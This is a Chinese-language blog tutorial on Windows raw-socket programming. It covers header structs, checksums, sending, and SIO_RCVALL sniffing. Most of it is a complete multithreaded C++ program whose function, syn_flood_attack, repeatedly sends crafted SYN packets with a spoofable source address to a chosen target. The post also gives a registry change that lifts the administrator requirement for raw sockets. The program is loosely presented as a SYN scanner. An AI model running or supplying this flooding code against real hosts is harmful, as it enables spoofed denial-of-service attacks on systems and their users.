Microsoft TCP/IP 組件包含“核心協議”、“服務”及兩者之間的“接口”。傳輸驅動程序接口 (TDI) 與網絡設備接口規范 (NDIS) 是公用的。 此外，還有許多用戶模型應用程序的更高級接口。最常用的接口是 Windows Sockets、遠程過程調用 (RPC) 和 NetBIOS。
Windows Sockets 是一個編程接口，它是在加州大學伯克利分校開發的套接字接口的基礎上定義的。它包括了一組擴展件，以充分利用 Microsoft Windows 消息驅動的特點。規范的 1.1 版是在 1993 年 1 月發行的，2.2.0 版在 1996 年 5 月發行。Windows 2000 支持 Winsock 2.2 版。在Winsock2中，支持多個傳輸協議的原始套接字，重疊I/O模型、服務質量控制等。
這 里介紹Windows Sockets的一些關于原始套接字(Raw Socket)的編程。同Winsock1相比，最明顯的就是支持了Raw Socket套接字類型，通過原始套接字，我們可以更加自如地控制Windows下的多種協議，而且能夠對網絡底層的傳輸機制進行控制。
1、創建一個原始套接字，并設置IP頭選項。
SOCKET sock;
sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
或者：
s = WSASoccket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED);
這 里，我們設置了SOCK_RAW標志，表示我們聲明的是一個原始套接字類型。創建原始套接字后，IP頭就會包含在接收的數據中，如果我們設定 IP_HDRINCL 選項，那么，就需要自己來構造IP頭。注意，如果設置IP_HDRINCL 選項，那么必須具有 administrator權限，要不就必須修改注冊表：
HKEY_LOCAL_MacHINE/System/CurrentControlSet/Services/Afd/Parameter/
修改鍵：DisableRawSecurity（類型為DWord），把值修改為 1。如果沒有，就添加。
BOOL blnFlag=TRUE;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag);
對于原始套接字在接收數據報的時候，要注意這么幾點：
1、如果接收的數據報中協議類型和定義的原始套接字匹配，那么，接收的所有數據就拷貝到套接字中。
2、如果綁定了本地地址，那么只有接收數據IP頭中對應的遠端地址匹配，接收的數據就拷貝到套接字中。
3、如果定義的是外部地址，比如使用connect()，那么，只有接收數據IP頭中對應的源地址匹配，接收的數據就拷貝到套接字中。
2、構造IP頭和TCP頭
這里，提供IP頭和TCP頭的結構：
// Standard TCP flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01
typedef struct _iphdr //定義IP首部
{
unsigned char h_lenver; //4位首部長度+4位IP版本號
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度（字節）
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct psd_hdr //定義TCP偽首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協議類型
unsigned short tcpl; //TCP長度
}PSD_HEADER;
typedef struct _tcphdr //定義TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急數據偏移量
}TCP_HEADER;
TCP偽首部并不是真正存在的，只是用于計算檢驗和。校驗和函數：
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
當需要自己填充IP頭部和TCP頭部的時候，就同時需要自己計算他們的檢驗和。
3、發送原始套接字數據報
填充這些頭部稍微麻煩點，發送就相對簡單多了。只需要使用sendto()就OK。
sendto(sock, (char*)&tcpHeader, sizeof(tcpHeader), 0, (sockaddr*)&addr_in,sizeof(addr_in));
下面是一個示例程序，可以作為SYN掃描的一部分。
發送:
// fistippacket.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
//What new functionality is added to this feature in Windows XP Service Pack 2?
//Restricted traffic over raw sockets
//Detailed description
//
//A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
//
//TCP data cannot be sent over raw sockets.
//
//UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped.
//
//Why is this change important? What threats does it help mitigate?
//
//This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
//
//Regards,
//
//Nelson.
//
static unsigned int s_sendount =1000;
static char s_destip[100]="";
static int s_destport =0;
static char s_srcip[100] ="";
static int s_srcport =0;
#define SOURCE_PORT 7234
#define MAX_RECEIVEBYTE 255
#pragma pack(push,1)
typedef struct ip_hdr //定義IP首部
...{
unsigned char h_verlen; //4位首部長度,4位IP版本號
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度（字節）
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tsd_hdr //定義TCP偽首部
...{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協議類型
unsigned short tcpl; //TCP長度
}PSDHEADER;
typedef struct tcp_hdr //定義TCP首部
...{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急數據偏移量
}TCPHEADER;
#pragma pack(pop)
//CheckSum:計算校驗和的子函數
USHORT checksum(USHORT *buffer, int size)
...{
unsigned long cksum=0;
while(size >1)
...{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
...{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void useage()
...{
printf("****************************************** ");
printf("TCPPing ");
printf("Useage: TCPPing.exe Target_ip Target_port Source_ip source_port sendcount threadnum ");
printf("******************************************* ");
}
int syn_flood_attack(const char* destip, int destport, const char * srcip, int srcport)
...{
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[60]=...{0};
BOOL flag;
int rect,nTimeOver;
if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
//if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==INVALID_SOCKET)
...{
printf("Socket Setup Error! ");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
...{
printf("setsockopt IP_HDRINCL error! ");
return false;
}
nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)
...{
printf("setsockopt SO_SNDTIMEO error! ");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(destport); //目標端口
addr_in.sin_addr.S_un.S_addr=inet_addr(destip); //目標IP
//
//填充IP首部
//
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
// ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.sourceIP=inet_addr(srcip); //src ip
ipHeader.destIP=inet_addr(destip); //dest ip
//填充TCP首部
tcpHeader.th_dport=htons(destport); //目標端口
tcpHeader.th_sport=htons(srcport); //源端口號
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //修改這里來實現不同的標志位探測，2是SYN，1是FIN，16是ACK探測 等等
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
//計算校驗和
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
for(DWORD i=0;i<s_sendount;i++)
...{
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),
0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
...{
printf("send error!:%d ",WSAGetLastError());
return FALSE;
}
else
printf("send ok! %d ",rect);
}
closesocket(sock);
return 0;
}
DWORD WINAPI WORKER_THREAD(
LPVOID lpThreadParameter
)
...{
return syn_flood_attack(s_destip,s_destport,s_srcip,s_srcport);
}
int _tmain(int argc, _TCHAR* argv[])
...{
WSADATA WSAData;
if (argc!= 7)
...{
useage();
return false;
}
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
...{
printf("WSAStartup Error! ");
return false;
}
int i = atoi(argv[5]);
memcpy(&s_sendount,&i,sizeof(i));
int tn = atoi(argv[6]);
strncpy(s_destip,argv[1],99);
s_destport = atoi(argv[2]);
strncpy(s_srcip,argv[3],99);
s_srcport = atoi(argv[4]);
HANDLE *ths = new HANDLE[tn];
for(i=0;i<tn;i++)
...{
ths[i]=CreateThread(0,0,WORKER_THREAD,NULL,0,NULL);
}
for(i=0;i<tn;i++)
...{
WaitForSingleObject(ths[i],INFINITE);
CloseHandle(ths[i]);
}
WSACleanup();
return 0;
}
4、接收數據
和 發送原始套接字數據相比，接收就比較麻煩了。因為在WIN我們不能用recv()來接收raw socket上的數據，這是因為，所有的IP包都是先遞交給系統核心，然后再傳輸到用戶程序，當發送一個raws socket包的時候（比如syn），核心并不知道，也沒有這個數據被發送或者連接建立的記錄，因此，當遠端主機回應的時候，系統核心就把這些包都全部丟 掉，從而到不了應用程序上。所以，就不能簡單地使用接收函數來接收這些數據報。
要達到接收數據的目的，就必須采用嗅探，接收所有通過的數據包，然后進行篩選，留下符合我們需要的。可以再定義一個原始套接字，用來完成接收數據的任務，需要設置SIO_RCVALL，表示接收所有的數據。
SOCKET sniffersock;
sniffsock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED);
DWORD lpvBuffer = 1;
DWORD lpcbBytesReturned = 0 ;
WSAIoctl(sniffersock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, & lpcbBytesReturned, NULL, NULL);
創建一個用于接收數據的原始套接字，我們可以用接收函數來接收數據包了。然后在使用一個過濾函數達到篩選的目的，接收我們需要的數據包。
posted on 2013-05-29 12:36
小魚兒 閱讀(6487)
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